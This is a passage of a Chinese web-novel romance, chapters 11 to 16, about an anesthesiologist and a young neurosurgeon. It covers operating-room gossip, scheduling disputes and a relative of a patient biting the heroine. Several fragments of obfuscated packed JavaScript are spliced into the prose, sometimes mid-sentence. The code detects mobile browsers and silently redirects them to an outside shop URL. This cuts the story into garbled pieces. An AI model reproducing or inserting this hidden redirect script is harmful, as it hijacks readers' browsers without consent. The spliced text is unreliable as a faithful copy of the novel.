谢宜年下意识关心她:“宗老师你怎么一点血色都没有?是不是一直没吃东西?” 宗夏槐说:“我有贫血的毛病,老毛病了,没什么。” 谁知谢宜年一惊一乍:“啊?这怎么行?贫血要补血……”该说不说,谢宜年话多的样子有点像她妈。 宗夏槐打断他:“有什么事吗?” 谢宜年这才意识到其实自己的关心有些过界,他并不是那种没分寸的人,只是心里说不出来什么滋味。 要是能光明正大地表达关心,就好了。 谢宜年收了收情绪,说出自己的来意:“宗医生,我们好像还没微信,加个微信呗。” 谢宜年有点紧张。 其实手术室里大部分人都互有微信,像谢宜年基本上有每个巡回的微信,没办法,谁叫他是他们组里跑腿干活的,送标本送ct基本上都叫他。 宗夏槐也有不少护士的微信,不过外科和麻醉加微信的倒是不多。宗夏槐并没多想,仿佛这就是个加微信的事,她掏出手机,等谢宜年扫了码,编辑自己的名字发给他:麻醉科-宗夏槐。 谢宜年依葫芦画瓢:神经外科-谢宜年。 谢宜年说不出的开心,他早就知道她的名字怎么写了,他心里美滋滋的。 谢宜年说:“那我不打扰你了,宗老师,明天见。” 他嘴上这样说,腿还没走,似乎眼巴巴等着宗夏槐说再见。 宗夏槐说:“别叫我宗老师了,我还没那么老。” 谢宜年问:“那叫什么?” 宗夏槐说:“夏槐,小夏,叫名字都可以。”实在是她的资历还没到当老师的程度。 谢宜年走出麻醉办公室的时候差点左脚绊右脚。 今日下班太迟,宗夏槐仍睡在手术室,值班的史老师说她一看就是还没成家,宗夏槐问为什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048659|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 史老师说:“像有了家庭的人,哪个不着急回家?”史老师突然压低声音,说起了八卦:“你知道杨师傅为什么不着急回家?他是个开刀狂,因为这个事和他老婆感情破裂分居了,现在他儿子出国了,他老婆也跟着儿子去了,剩他一个人在国内,他更把全身精力投入在开刀上了。” 她们说的杨师傅就是杨主任,谢宜年的顶头老大。 史老师谈起各位教授的八卦津津有味:“像姜主任,她老公是那个娱乐圈的明星,你听说过的吧?长得可好看,你看姜主任每天就急着回家,有一回特别晚了,还打电话打过来了……” “还有还有,像你们科那个宋主任,现在调到分院区当大主任了,之前每天都急着下班,说要回去给女儿烧饭……” 史老师最终下定论:“可见家里有个记挂着自己、自己也记挂的人是多么重要。” 史老师问起宗夏槐的感情史是否有新的篇章,宗夏槐沉默片刻,摇了摇头:“哪有那时间。” “哎呦!”史老师也不戳穿她,说:“小夏,你长这张脸,只有你不想谈,哪有谈不上,我和你说呀,你要多谈几个,男人嘛,谈来谈去都差不多,最后要找一个人品好的,和你性格合得来的,还有长得好看的……” 史老师说:“这都是过来人的经验。” 宗夏槐唯独对最后一点不解,相比男人而言,女人似乎很少挑男人的脸,大家似乎更讲究这个人的能力、人品、责任心。 “话是这么说没错,但小夏,我和你说,很多东西都可以装的,脸是骗不了人的,你看看这些男人,哪个不挑脸?可见好色是人之本能,没什么错的。”史老师只是觉得:“小夏,你长这么好看,也该挑个好看的。” 说起好看,宗夏槐就忍不住想起了谢宜年。她承认她有些想歪了,但是谢宜年确实是她二十八年里见过最好看的人。 12.第 12 章 史老师躺在床上,与她感慨:“时间真快啊,我刚来手术室的时候,老杨还是小杨,那会儿组里的老大也姓杨,等他干到差不多能独当一面的时候,大家就用大杨和小杨区分他们。” “哎,老杨是苦过来的,可能是这个原因,他一辈子都没停下来过,就算是现在当上主任了,有钱了,也一刻不让自己放松……,为这个,他老婆都和他离心了。” 史老师把话题引到另一人身上:“你们科那个徐同和,我看之前也有老杨的影子,太拼命,不过现在结了婚,有了孩子,倒是好多了。” 宗夏槐有些不确定地问:“徐师兄都生了孩子了?” “是啊,刚过周岁。”史老师说:“是个女儿,可爱极了,你没看到他朋友圈吗?” 宗夏槐真没看到,或许是师兄把她屏蔽了,又或者是她没看到那条,她释然地笑:“可能那几天没看,忘了恭喜他了。” 说起徐同和,她确实和他有一些故事,又或者说暧昧。那会儿他俩都单身,徐同和在她最孤立无援的时候帮了她,教了她很多知识,还教了她很多人情世故,徐同和也长了一张好样貌,虽然和谢宜年不能比,但在整个麻醉科的男医生里还是排得上号的。 所以,宗夏槐自然而然地对他产生了一些好感。 后来师兄先毕业,他选择了留院工作,他的家庭条件不足以供他读博;而宗夏槐在老师的推荐下收到了来自国外的offer……自此,两人走向了两条不同的路。 不过是一些未挑明的好感,宗夏槐对徐同和也说不上多深的感情。 第二日他们在手术间走廊打了个照面,徐同和主动与她打招呼,宗夏槐回以微笑:“早。” 宗夏槐忽略他面上那一刻复杂的神情,没有说多余的话。 三年前,在她出国之前,徐同和找过她,他并没有劝她留下,只是问能不能等他三年,不要和其他人谈恋爱。 可宗夏槐最讨厌这种意味不明的话,当即反问:“师兄这是什么意思?”在她看来,时间和距离都不算什么,倘若徐同和喜欢她,就该正大光明地和她说清楚,他们确定恋爱关系,她在国外自然不会再和其他异性发展什么感情。可如果没有……凭什么? 徐同和退缩了,既没说喜欢,也没说“请你做我女朋友”这样的话。所以现在想想,她当初没答应,后来他也不算毁诺。 在宗夏槐出国第一年整的时候,徐同和发了朋友圈,公布了结婚的喜讯。 都是过去的事情了。 宗夏槐对徐同和曾经有过好感,但是这些好感早就消失了,她仍旧感谢他,感谢他做了自己麻醉之路的引路人。 宗夏槐匆匆钻进了自己的手术间,住院总今天给她排了三台小垂体,有望下午五点下班,对于这种有盼头的房间,宗夏槐喜欢抓紧时间,早点干完早点下班,值班室睡着到底不舒服。 垂体组是神经外科有名的“多金”组,手术用内镜做,一台两小时,三台做完了也才下午五点钟,查个房正好下班,而且垂体瘤可以记“颅底大”,收费高,所以人手也足。 今天的手术根本就用不着催人,外科早就派了两个进修来房间里坐着,只等宗夏槐麻好了开场。 不过宗夏槐今天跟的上级严苛,换做其他主麻,又是这种“轻”病人,就让宗夏槐自己诱导了,偏偏今天这位上级是麻醉科出了名的“严苛”,要等上级来了才能诱导。 宗夏槐发了条消息过去:【刘老师,可以来麻了,外科在等了。】 不一会儿,这位刘主麻出现在房间,她仔仔细细地看过了病史,问过了病史,才上麻醉,她一边推药,等到病人睡着了才开始吐槽:“真是的,住院总分给我一个一年级,什么也不懂,什么都要从头教,那个病人情况还重,急死我了,今天我要盯着那边,你这边我就少来了,你自己能行吧?” 宗夏槐应下。 中午吃饭,上级快到饭点结束的时候才来换她,也是骂骂咧咧:“气死我了……”她一边数落一年级的“罪行”,一边说:“我要和住院总说,下次别给我分他了!笨得要死,脑子也不灵光!” 宗夏槐微笑,这个时候就当左耳朵进,右耳朵出。 规培一年级,总不能指望着人家刚来就跟干了十几年一样熟练,有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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徐同和现在结了婚,有了女儿,日子还算过得美满,他不是贪心的人,只是对师妹,多少有些……不知道怎么面对。师妹就像一面镜子,折射出他的懦弱。 两个人之间,弥漫着一种尴尬。直到无知无觉的谢宜年拿着外卖冲过来:“夏槐,你也在啊……” 13.第 13 章 谢宜年认识徐同和,徐同和刚做完麻醉科的住院总,也就前几个月才脱产去实验室,他们打过不少的交道。 谢宜年根本没看清楚这两人之间的情况,也不怪他,他没谈过,在感情上当然迟钝,他因为看到宗夏槐开心,笑容挂到了脸上,也没忘了和徐同和打招呼:“同哥,你回来了?” 徐同和点头致意:“科里忙,我暂时回来帮忙。” “辛苦辛苦。”谢宜年又看向宗夏槐,问她喝不喝奶茶,“我们组点多了奶茶,要不要来一杯?”其实是他自掏腰包,今早他总想起她白得没有血色的唇,竟心神不宁,担心她会低血糖。 他注意到她盘子里那些寡淡的菜色。 谢宜年出于客气顺带问了一句徐同和,不料宗夏槐以喝了犯困的原因婉拒,徐同和却欣然接受。 谢宜年稍郁闷,不过转念一想,同哥是老熟人,还是压下了心里那股别扭。 谢宜年匆匆吃了口饭,就被打电话叫回去,宗夏槐看他脸上并没有不悦之色,只是似乎有些恋恋不舍。 奇怪得很。 宗夏槐对谢宜年并没有坏的观感,相反,她有时候被谢宜年身上那股活劲感染。 也许这就是外科和麻醉的区别,麻醉医生都是淡人,外科医生不管熬了几个夜,总是看上去血气充足、活力满满。 徐同和不动声色地观察着一切,谢宜年走了,他才开口:“师妹和他……” 谢宜年是神经外科年轻一辈中出了名的好看,能力也不差,虽说现在还被嫌弃速度慢,可是哪个神外医生不是这么过来的呢? 杨主任对他最严格,骂得最凶,也是老一辈教授寄予厚望的方式。 宗夏槐生得一副冰雪容貌,心思也像冰雪般剔透,她看了徐同和一眼,只觉得自己当年还是太年轻,初入临床,难免有雏鸟情节。 今日方觉,不过如此。大家都是俗人,是动心的人为对方蒙上了一层滤镜。 今日的手术进行得异常顺利,宗夏槐麻得开,外科开得快,三台小垂体结束的时候才不到下午四点。 第三台在收尾的时候,有人又盯上了宗夏槐的房间,想叫她帮忙拆台。 按照手术室的规定,手术在下午四点半前结束的房间,不得拒绝拆台。 巡回护士出去打单子,回来恨恨地说道:“19又想拆台,他们家现在名声都‘臭’了,光会画饼!手术是越做越迟!麻醉医生,你一定要坚定地拒绝他们!” 话音刚落,人来了。 谢宜年人刚进来,就收到了来自巡回和台上洗手的白眼。 今天的洗手护士脾气爆,开门见山:“我们这里不欢迎拆台的。”也是熟悉,才会说这样的话。 但是这里说了算的是宗夏槐。 谢宜年带着任务来,恳求地看她:“夏槐医生……” 洗手和巡回也看向她:“不行啊,夏槐你不要心软……” 宗夏槐心里早有主意,她都没看他,改了几处麻醉单,说:“这台拆不了。” 护士开心之余又有些担忧:“可是不到四点,万一杨主任打电话硬拆……”谁能顶住杨主任的脾气? “或者你们住院总……”护士说:“夏槐你可一定要顶住啊!我们能不能下班全靠你了!” 宗夏槐说:“要是杨主任亲自打电话,那确实没办法;如果是我们住院总……我昨天干到晚上十一点,今天实在干不动了……” 谢宜年还没走,看她眼睛里淡淡疲倦,忽觉自己过分。 “毕竟还没过四点……” 面对护士的忧虑,宗夏槐给她们吃了颗定心丸,“房间里拔管送pacu(麻醉苏醒室)。”加上拔管的时间,肯定过四点半了。 护士猛夸她:“还得是我们夏槐!” 台上外科医生听了这一场“拉扯”,笑说:“那我慢点,免得你们被拉去干活。” 宗夏槐拔了管把病人送去苏醒室的时候,刚好下午四点半,这个点结束她可以不必和住院总报备直接下班。 她在走廊上遇到谢宜年,他匆匆往23号去,一问才知道那台拆给了徐同和。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068101|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢宜年还有不敢直视她的眼睛:“不好意思啊,昨天让你那么迟……” “这有什么?”宗夏槐没放在心上:“又和你没关系。” 就像她同意拆台,是因为本在她的工作规定之内;她拒绝拆台,也是她不想拆又有合适的理由。 谢宜年过去的时候,师兄黄朝已经到了,他调侃谢宜年“美人计”失败,又调侃宗夏槐为人正直不为“美色”所动。 “你说是吧?同哥。” 徐同和搬个凳子在旁边坐着,知道他们在谈宗夏槐,笑着参与他们的话题:“你们这就错了,师妹是颜控,最喜欢看美人。” “啊?”黄朝惊讶:“我看宗医生是个冷冰冰的美人……”不免叫人觉得反差。 黄朝后知后觉:“你说……师妹?我怎么有点印象了。” 徐同和说:“是比我小一届的师妹,梁主任的四证。” 黄朝一拍脑袋:“我想起来了!以前我确实见过!那会儿你们还是麻醉科的一对金童玉女……” 护士不留情地打断他:“黄教授,别闲聊了,快点洗手上台!你们今晚又想到几点?” 谢宜年沉默地听着,自徐同和那一句“师妹”出来,他就发觉一些不同于常人的熟捻。 黄朝从外面洗手进来,一边踩消毒液,一边还说个不停:“你这么一说,我全想起来了!哎呀!我当初还以为你俩能成!谁知道你师妹后来就出国了!再看看你现在老婆孩子都有了,可惜啊……” “别瞎说。”徐同和严肃道:“我和宗师妹当初就没什么。” 他从恋爱结婚那刻起,就和师妹再没可能,他并不想过去的传闻给师妹带来困扰。 更何况,他们确实也没有过什么。 黄朝没揪着不放,只说:“是我记错了。”他转头兴致勃勃地说:“你这师妹现在是单身吧?不知道宗医生有没有兴趣看一下我们小谢……” 黄朝对谢宜年来说亦师亦兄,在临床上手把手地带他,也忍不住操心他的感情。师弟长得多好看,怎么就连个女朋友都没有? 14.第 14 章 谢宜年听到这话人都僵了,他尚不懂感情,从未往那个方向想过,心里却紧张起来。 徐同和微微一笑:“我和师妹三年不联系了,也不清楚她的感情状况,你不如下次直接问她。” “那多冒犯啊。”黄朝怂恿谢宜年:“小谢,你去。要是能成了,也是一段佳话。” 护士冷笑:“然后夫妻双双在手术室加班,孩子三岁会烧饭是吧?”护士持有不同意见:“黄教授啊,你们神经外科太苦了,竞争又激烈,上面几个教授是风光,下面几个能混出头?” 黄朝还没当上教授,这只是个谐称。 “宗医生这样能力又好性格又好的美女,肯定不缺追求者的,哪个不像想找个知冷知热的对象?” 对此,宗夏槐一无所知。大家起哄归起哄,也不会跑她面前说:嘿,神经外科小谢看着与你挺登对,要不要接触一下? 这事除非是小谢自己主动。 宗夏槐最近事情也挺多,她刚从国外回来入职,有一堆的程序要走,一堆的文件还没办下来,她今天早下班就是去忙着搬房子的事情了。 她提前叫好了货拉拉,朋友帮她一起把东西从家里搬出来,结束后宗夏槐请朋友吃了一顿饭。刚回国的这段日子里,她一直借住在朋友家。 日式小酒馆里,她们要了一打米酒,朋友庆贺她回国:“夏槐,欢迎回来——” 她们是多年好友,至今已有十五年,她们熟知对方每一个秘密,包括宗夏槐和徐同和没有结果的感情。 陆灵说:“我一点都不意外,他当年说叫你等他,我就想骂他了!什么东西!” 宗夏槐给陆灵斟满米酒,情绪没有陆灵那么激动,平静得不关己事:“我当初也没答应他。”她最讨厌含糊不清,她这个人,眼睛里容不得沙子,尤其是感情。 “算了算了,不提他了。”陆灵问:“你回来这么些天,有遇见好的没有?” 宗夏槐一贯说辞:“哪有时间?”一瞬的恍惚让她想起神经外科那个年轻外科医生。 “医院里呢?有没有帅的?” 宗夏槐的愣神被陆灵抓住了,陆灵喝了两杯,拍掌说:“我知道了!肯定有!” “我又不准备和同事发展什么。”谢宜年是好看,但是她对他,只有纯粹的关于容貌不关其他的欣赏,她喜欢看美人,美女多于美男,毕竟世上美女常有,男人实在是参差不齐,能入宗夏槐眼的男人实在是少。 宗夏槐说的是真心话,“以前我会觉得找同行能互相理解互相支持,现在觉得同行也未必能理解,而且两个人都忙,就对感情的事缺乏耐心。” “最重要的是……”宗夏槐抿了一口米酒,她明天还要上班,不宜喝太多,于是浅尝辄止:“他长得再好看,耽误我下班,也是不行的。” “有道理!”陆灵十分赞同,好看只能在无伤大雅的小事上宽容,触及到核心利益,多好看也没用。 工作就是这样,没有人会宽容,只能尽快成长,像那些多年没长进的人就会被大家钉在“耻辱柱”上。 凭技术说话的外科最是遵循这条规律。 宗夏槐第二日房间的巡回昨天是角班,已经骂了一早上:“天呐小夏,你知道我昨天角4,干到几点?晚上八点!角四干到八点,这是从未有过的事情……你说说那个姓赵的,来了多少年了,光长年资不长本事,我昨天晚上光看他‘绣花’了,你知道他从硬膜开始关,关了整整两个小时!两个小时!” 巡回护士竖起两根手指:“两个小时啊,隔壁房间的教授上去挖个瘤子下来了,他还在关,就是那个杨主任组新来的小谢都比他快吧!” 巡回说:“昨天你们科那个接班的麻醉,就坐他旁边盯着他缝,他也快不起来,我真是服了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081300|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时此刻,黄朝也在“提点”谢宜年:“杨主任要求严苛,说话是不好听,但是你跟他开刀,能学到很多东西,像杨主任带出来的人,我……还有……开刀的本事都是受到大家认可的,速度快,视野也干净,我知道你这段时间辛苦,但是只要苦过来,就能学到东西。” “像那个赵……当初就是被杨主任赶走的,多少年了,毫无长进,麻醉和护士提起他,都嫌弃得很。” 谢宜年说:“但……赵师兄脾气挺好的。” “脾气好有什么用?技术不好,天王老子来了都没用!”黄朝说:“同年龄的,麻醉、护士都比我们资格老,技术不好,人家对你也客气不起来,毕竟耽误人家下班了,你下次找人家帮忙拆台都不带睬你的!” 谢宜年想起昨日找宗夏槐拆台被拒,心上突然被扎了一刀,他沉痛道:“我一定好好和杨主任认真学本事!” “这就对了。”黄朝欣慰地说道:“下次黄主任开刀的时候你不要跑,就在旁边学习,有机会就多练,还有急诊,你去急诊处理脑外伤的时候,那段时间会是你飞速成长的一个时期!” “哦,对了师兄,昨天有个家属闹事……” “这事我已经知道了,你放心,主任已经解决了。” 于是谢宜年没再多问。结果下午就出事了,说是术前访视谈话的麻醉医生在病房被家属逮住了,差点受伤。 流言一传一个版本,有的说是家属动刀了,有的说是没动刀动手了,还有的说毁容了! 起初谢宜年还没太关注这流言,后来师兄和他说,那家属就是昨天报警的家属,再问问那可怜的麻醉医生是谁,说是宗夏槐宗医生。 谢宜年心里一个咯噔,他当时在台上帮主任冲水吸血,后来主任下台,黄师兄上台,他也找了空溜出去,住院总谭月在走廊上接电话,看见他就翻了个白眼给他:“做点人吧你们。” 15.第 15 章 外科和麻醉的关系一直很微妙,外科觉得麻醉大多死板教条,麻醉觉得外科大多是莽夫。 上面那些老大还能维持面上的和谐,下面这些小的出去干架的都有。 干架是夸张了些,但是纷争一直没少过。 麻醉拥有能停外科手术的权利,但是外科强势,要硬来的也大有人在,无非是看哪一头的老大压得过去。 甩锅的事情也常有,这事说句良心话,全是外科甩给麻醉,毕竟外科在病房和家属接触得多,麻醉除了签同意书的时候与家属见一面,旁的时候根本不知道外头发生了什么。 术后并发症? 那一定是麻醉术中管理不当! 术后脑梗了?二次出血了? 那一定是麻醉术中血压控制不佳! 但再说回来,外科也没有麻醉想的那么不堪,作为外科医生,大部分情况下,大家都是关起门来“批斗”,很少有直接和家属说:“这个是麻醉的问题。” 真有责任也好,假有责任也罢,说到底大家是“一家人”,没有这种在家属面前把责任全部推卸的道理。何况一场手术结果本就充满了变化性,手术的预后和病人身体素质等多方面都有关系。 脑梗、二次出血、拔不了管……谁都不想。但是病人遇多了,总有那么两个“怪”的情况,也是命了。 像这次杨主任组这个闹事的家属,都不是“命”的问题,是本身肺就不好,肺癌开过刀,肺都不剩下多少好的部分了,术后拔不了管的概率高,也告知过家属。 手术做完了,真拔不了管,人家又不认了,问起来都说庸医谋财害命。 谢宜年也是这时才知道黄朝师兄说“解决好了”是推锅给了麻醉科,麻醉医生管气道,实在是最合适的背锅人选。 肺不好?脱不了机?哎呀,麻醉科的事。你看人不是醒了?脑子没问题对吧? 谢宜年被谭月一顿输出,给骂懵了。 这中间具体过程他还不知道,但是结果摆在这,自家甩锅给麻醉科,连累麻醉科的人在术前访视时被家属围堵,自家做了极其不厚道的事情,谢宜年都不好意思抬头,小声问:“宗医生……还好吗?要紧吗?” 谭月没骂他几句,知道他不是做主的人,但对他没好脸色,懒得搭理他,怒气冲冲地走了。 找人算账去了。 谭月找到了手术间,那会儿黄朝在台上,据可靠情报,黄朝被她说得下了保证书。 “黄教授——”谭月当住院总的这一年,硬生生从一个说话轻声的甜妹变成了一个火爆辣椒,语速飞快:“你们家怎么能这样做事!什么叫麻醉的责任?这个病人,我是不是之前就和你们谈和家属谈,肺不好,术后极大概率拔不了管,肺的问题很大,你们把家属谈得鬼迷心窍,什么风险都不管了,又说是谁谁谁的vip,一定要做,现在呢?全是我们的责任了,你们开完刀就隐身了是吧?今天我们的人还被家属袭击了,走走走,我们一起去医务处面前处理这个事!” 谭月个子娇小,却爆发出惊人的能量,巡回护士悄悄往旁边挪了一个窝,怕被波及。 “今天就是杨主任在这里,我也是有道理的!”谭月越想越气,她住院总任期快结束了,都快结束这糟心的日子了,没想到最后两周里给她来了坨大的。 黄朝没办法,只好叫谢宜年来收场,自己去了解一下情况。他们是一个大组,人多,事也杂。像黄朝这种高年资主治,除了出门诊,就是手术室开刀,闹事的那个病人严格意义也不是他的病人,他就没关注后续处理。 他心里暗骂必然是哪个愣头青去处理这件事,这下把麻醉科得罪狠了吧!医务处都找上麻醉科了,这梁子从此结大了。 黄朝先关心了一下那位受伤的麻醉医生:“人还好吧?谭总,实在对不住,这事我不清楚的,我绝对绝对没有甩锅给你们麻醉科的意思,请你相信我。” 谭月没睬他,她心里烦得很,明天有一台术中唤醒,本来排了宗夏槐去做,要不然宗夏槐今天下午也不会去病房访视病人,这下好了,宗夏槐受伤了,明天的唤醒怎么办? 术中唤醒,是对麻醉要求极高的一类神经外科手术,术中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093195|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病人保留自主呼吸,这类病人多为功能区肿瘤,开颅阶段病人是睡着的,在外科医生挖肿瘤的时候,麻醉医生会通过减少药量,控制麻醉深度,将病人唤醒,让他们配合外科医生的指令从而尽可能挖肿瘤而避开功能区,提高术后生存质量。 这类手术对于外科医生、外科医生和麻醉医生的配合度、乃至病人的心理素质要求都很高。 虽说麻醉医生会用镇静药使得病人保持在一个相对平静的状态,镇静药的一大作用就是消除恐惧,但是当外科医生触碰到大脑功能区,病人数着数突然发现自己说不出话了,一侧肢体不能动了…… 是人都会害怕,哪怕外科医生叫病人相信自己,在这种情况下,配合度真的很看个人的心理素质,而且每个人能坚持的时长都不一样。外科也要速战速决,否则时间一长,病人即使做完手术,也会留下极重的心理阴影,疯掉都是有可能的。 这类手术风险高,但是收益也高。一般神经外科手术都是全麻插管,挖完瘤子多少有点偏瘫、听力下降、视力下降……这样或那样的后遗症(主要看肿瘤位置)。像功能区的肿瘤,术后后遗症就更重了。术中唤醒最大的好处就是最大化保留病人的大脑功能。 至于利大于弊还是弊大于利,说法不一。 宗夏槐是当年基地唯一一个从二年级起就开始做唤醒麻醉的人,一方面是和她的研究生课题相关,另一方面是她确实优秀。 谭月一边赶去医务处,一边手机上给主任发消息报备,请示让谁顶上更合适。其实科里不是没有能做的人,但是术中唤醒是谁都不想经手的烫手山芋。 换句话说,能做唤醒的、比宗夏槐更有能力的麻醉医生年资也都挺高了,谭月使唤不动。宗夏槐是“性价比”最高的那一个。但是主任开口,那就不一样了。 谭月这边解决了心头一桩大事,神色缓和不少,黄朝又打听:“谭总,这个……宗医生受的伤严重吗?伤到哪里了?” 严重……倒也不至于。谭月说:“她被家属咬了一口,咬手腕上了。”怪恶心的,还得去打免疫球蛋白。 16.第 16 章 黄朝不确定地问了一句:“被咬了?” “是啊,病人他老婆,一个六十岁的老太太,警察都管不动的年纪,我们夏槐就这么被白咬了一口。”要不是快走到医务处了,谭月真想骂一句疯婆子。 黄朝该关心的还是要关心:“没什么传染病吧?” “这谁知道了?”谭月没好气地说:“又不能把人家抓起来验个血。” 谭月话糙理不糙,黄朝自知理亏,说:“我叫我们的人去问问,宗医生年轻,这是关系一辈子的大事。” 黄朝给谢宜年发消息:【师弟,你手术结束后去找一下ICU C 25床的病人家属,想办法搞清楚病人老婆有没有传染病,或者看看她在我们这里住没住过院。】 黄朝想了想补充说:【麻醉科宗夏槐被病人老婆咬了一口,你有空去买点东西表达一下我们组的歉意,记得态度要好。】 医务处常年处理医患纠纷,医务处的老大就是神经外科姜教授兼任,当然,医务处不是只处理纠纷,这是个十分通人情世故的地方。自姜教授接管以来,不曾有闹大影响医院声誉的事情,再大的事情,到姜教授这里也就结束了。 今天也是一样。 最后医院和家属达成一致,家属把人从医院接到康复医院去,医院免掉ICU的费用,算是一种“赔偿”。 “弱势者”有理,这是叫人无可奈何的事情。 第二天神外年会上,姜教授也借此事提醒了各组,她年纪轻,话说得委婉却到位:“神经外科手术的开展离不开麻醉科的配合,大家都是临床上的同事,有什么问题可以关起门来批评改进……最近,大家在开刀的事情上都很积极,但麻醉科的意见不能忽视,一台手术不是凭着一股莽劲去开,有时候能开得了场也要想想能不能收场……” 有些肿瘤长得深,血供又丰富,是不能完全切干净的,只能部分切除,剩下的去化疗。台上医生急功冒进,没有及时停手,而是往大了搞,就容易收不了场。一直出血一直输,麻醉医生用药吊着血压……最差的结果就是人死在台上。 但大部分时候不会,死在台上,那太严重了。最起码是在ICU。 “所以我希望在座各组还是能提高对麻醉科意见的重视,这是双赢。” 医务处处长的面子不能不给,毕竟大家术中出血,想和血库要血要不到的时候,还得去求处长的面子。 这一场会开后,神经外科的手术量逐渐恢复到从前,还是不少,但总算不像前两周那样让麻醉科人人都精疲力竭了。 宗夏槐并不知道这中间发生的事情,她只知道住院总大手一挥,给她放了三天假,让她去打免疫球蛋白并在家休息。 虽然假是从她今年的公休假中扣的。 谭月发消息给她:【你放心,我已经狠狠骂过外科了,外科那边也问过了,那老太太没传染病,你安心。唤醒我找其他人做了。】 宗夏槐收到消息的时候是当天晚上,她人还在医院没走,上报了院感,去急诊打了一针,急诊的护士妹妹给她包了一个漂亮的蝴蝶结。 她坐在办公室,单手打字回复:【收到。】 算是无妄之灾,也算是因祸得福。宗夏槐松了口气,她其实不想做明天那台唤醒,她一直不喜欢唤醒手术。 宗夏槐收拾自己的电脑,准备下班回家,更衣间外撞上了谢宜年。 倒不算偶遇,是谢宜年去急诊去办公室问了一圈,才在这“逮”到她,他买了一堆补气血的东西给她,把宗夏槐搞懵了。 谢宜年要送她回去,宗夏槐欲言又止:“我没事。”她两条腿还好着,又不是什么断胳膊断腿的大伤。 “我自己开车来的。” 谢宜年的视线在她手腕的蝴蝶结上犹豫不定,他诚恳地说道:“这个病人不是杨主任的,也不是黄师兄的,是……组里一个师弟不懂事,不会说话,叫家属误会了,杨主任和黄师兄都没有推给麻醉科的意思。”我也没有。 “我送你回去……好吗?”谢宜年那双漂亮的眼睛看着她,眼睛底下的泪痣好似在顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100130|148983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灯的映照下流转:“我带了任务来的,东西你也收下,行吗?” 主任和师兄不想和麻醉科结怨,而他想得更简单,他不想她受伤的时候开车。 “好吧。”宗夏槐松口。 打工人都不容易。 不管这事有意还是无意,都是老大们的事情,看在放假的份上,宗夏槐倒没有谭月那么愤怒。 晚上八点。 海城高架通畅无阻,宗夏槐坐在副驾上,开了半窗,晚风吹乱了她肩上的长发,她伸手,把眼睛前的头发拨下来。 谢宜年忍不住分心看她,坐进来之后,他的心率就在一路飙升,好几回,手表都报了警。 换了常服的宗医生,更好看了,可惜他舌头打结,一时间都不知道说些什么,竟浪费这机会。 宗夏槐吹了会儿晚风又关上窗户,问谢宜年:“我听谭总说,那病人家属血是干净的,是她住过院,还是你去问的?” 谢宜年老实回答:“我去问的。” “你怎么问的?” 谢宜年说:“我和她说,她这种行为涉嫌恶意传播传染病,要坐牢。”当时谢宜年冷着脸,一半生气一半担心,完全是另一副面貌,震住了家属。 宗夏槐扑哧一声笑了:“你这不是唬人吗?” 